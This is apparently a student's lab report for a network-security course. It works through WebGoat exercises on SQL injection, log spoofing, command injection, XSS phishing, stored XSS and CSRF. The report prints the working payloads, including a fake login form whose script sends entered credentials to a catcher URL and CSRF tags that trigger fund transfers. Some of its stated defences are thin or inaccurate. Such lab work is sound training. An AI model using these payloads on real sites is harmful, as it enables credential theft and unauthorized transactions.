• 2018-2019-2 20165227《网络对抗技术》Exp9 Web安全基础


    2018-2019-2 20165227《网络对抗技术》Exp9 Web安全基础

    问题回答

    1、SQL注入攻击原理,如何防御

    • 原理解释:通过在用户名、密码登输入框中输入特殊字符,在处理字符串与sql语句拼接过程中实现引号闭合、注释部分SQL语句,利用永真式,从而达到登录、显示信息等目的
    • 防御措施:对于输入框的输入进行有效的限制,比如对输入的长度、非法字符等进行限制,可以抵御一定的攻击

    2、XSS攻击的原理,如何防御

    • 原理解释:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁获得访问控制
    • 防御措施:对于JSP的进行一定的特征收集,对于其内容严格验证并规定其格式

    3、CSRF攻击原理,如何防御

    • 原理解释:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击
    • 防御措施:在结束浏览器的会话后,对cookie进行清理

    实验步骤:

    准备

    • 安装Webgoat(在网上找到并下载安装包

    • 浏览器登陆http://localhost:8080/WebGoat 进入Webgoat,用下方的用户名及密码进行登陆

    • 登陆成功界面

    实验一:SQL注入攻击

    Numeric SQL Injection攻击

    • 在复选框上右键,选择inspect Element,对源代码进行修改,在源代码复选框内容第一排后添加or 1=1

    • 成功

    Log Spoofing攻击

    • 在页面中的User Name 中填写20165227%0d%0aLogin Succeeded !admin
    • 成功

    Command Injection攻击

    • 在复选框上右键,选择inspect Element,对源代码进行修改,在复选框的某一选项中加入"& netstat -an & ipconfig"

    • 显示攻击后的结果

    实验二:XSS攻击

    Phishing with XSS攻击

    • 在搜索框输入攻击代码
    </form>
      <script>
    function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
      </script>
    <form name="phish">
    <br>
    <br>
    <HR>
      <H2>This feature requires account login:</H2>
    <br>
      <br>Enter Username:<br>
      <input type="text" name="user">
      <br>Enter Password:<br>
      <input type="password" name = "pass">
    <br>
      <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
    
    • 在下方的登陆界面输入的用户名及密码就会被捕获并返回给你

    Stored XSS Attacks攻击

    • 在要发布的Massage部分插入JSP代码,当帖子被浏览时候,该代码会被浏览器解析成html的内容。
    • 在其中输入<script>alert("5228 is 5227's son");</script>

    实验三:CSRF攻击

    Cross Site Request Forgery攻击

    • 写一个URL,让用户点击,从而触发攻击
    • 以图片的形式将URL放入Massage框中,让用户错以为接收到的是一张图,一旦点击,就会触发CSRF事件
    • 内容为<img src="http://localhost:8080/WebGoat/attack?Screen=276&menu=900&transferFunds=10000"/>

    CSRF Prompt By-Pass攻击

    • 在message框中输入代码
    <iframe src="attack?Screen=324&menu=900&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=324&menu=900&transferFunds=CONFIRM"> </iframe>
    
    • 结果

    实验问题

    • 在登陆Webgoat的时候,界面显示有问题,找不到攻击的教程通过同学的帮助才知道是JDK的版本不适配

    • 通过同学的帮助才知道是JDK的版本不适配,重新安装了JDK1.8

    实验感想

    • 这次的实验有对于SQL语句和网页HTML的要求,对于之后的考试内容也很有帮助,也是一次很有意思的实验
  • 相关阅读:
    [LeetCode] 1030. Matrix Cells in Distance Order 距离顺序排列矩阵单元格
    [LeetCode] 1029. Two City Scheduling 两个城市调度
    [LeetCode] 1027. Longest Arithmetic Subsequence 最长的等差数列
    [LeetCode] 1026. Maximum Difference Between Node and Ancestor 结点与其祖先之间的最大差值
    [LeetCode] 1025. Divisor Game 除数游戏
    一手遮天 Android
    一手遮天 Android
    一手遮天 Android
    一手遮天 Android
    一手遮天 Android
  • 原文地址:https://www.cnblogs.com/zhuyue-study/p/10927317.html
Copyright © 2020-2023  润新知